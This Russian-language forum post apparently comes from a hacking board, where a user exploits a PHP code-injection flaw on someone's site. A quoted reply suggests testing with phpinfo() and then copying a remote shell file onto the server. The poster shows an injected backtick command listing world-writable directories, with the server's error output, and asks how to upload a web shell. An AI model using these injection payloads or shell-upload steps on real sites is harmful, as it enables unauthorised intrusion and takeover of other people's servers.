
14.09.2011, 16:50
|
|
Guest
Сообщений: n/a
Провел на форуме: 1470
Репутация:
0
|
|
Сообщение от winstrool
winstrool said:
это может дать тебе возможность выполнять пхп код, т.е если в том месте где ты вставил эту строчку срабодает пхп инфо которое можешь вызвать так "e=phpinfo();" то значит можешь удаленно попробовать залить шелл примерно так "e=cp("/folder/shell.php","http://localhost/shell.txt");" ну или на месте самой этой строчки вставить код уплодера, вообщем вариантов куча)
А можно через cmd залить?
На команду
Код:
Code:
find . -type d -perm 777 -print
ругнулся
Код HTML:
HTML:
Warning: include_once() [function.include]: Failed opening 'modules/error_reporting(0);print `find . -type d -perm 777 -print`;///error_reporting(0);print `find . -type d -perm 777 -print`;//.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/xxx/public_html/includes/libs/ss.inc.php on line 168
но выдал все папки с правами на записью Какой командой можно залить файл, удаленно или локально?
|
|
|
|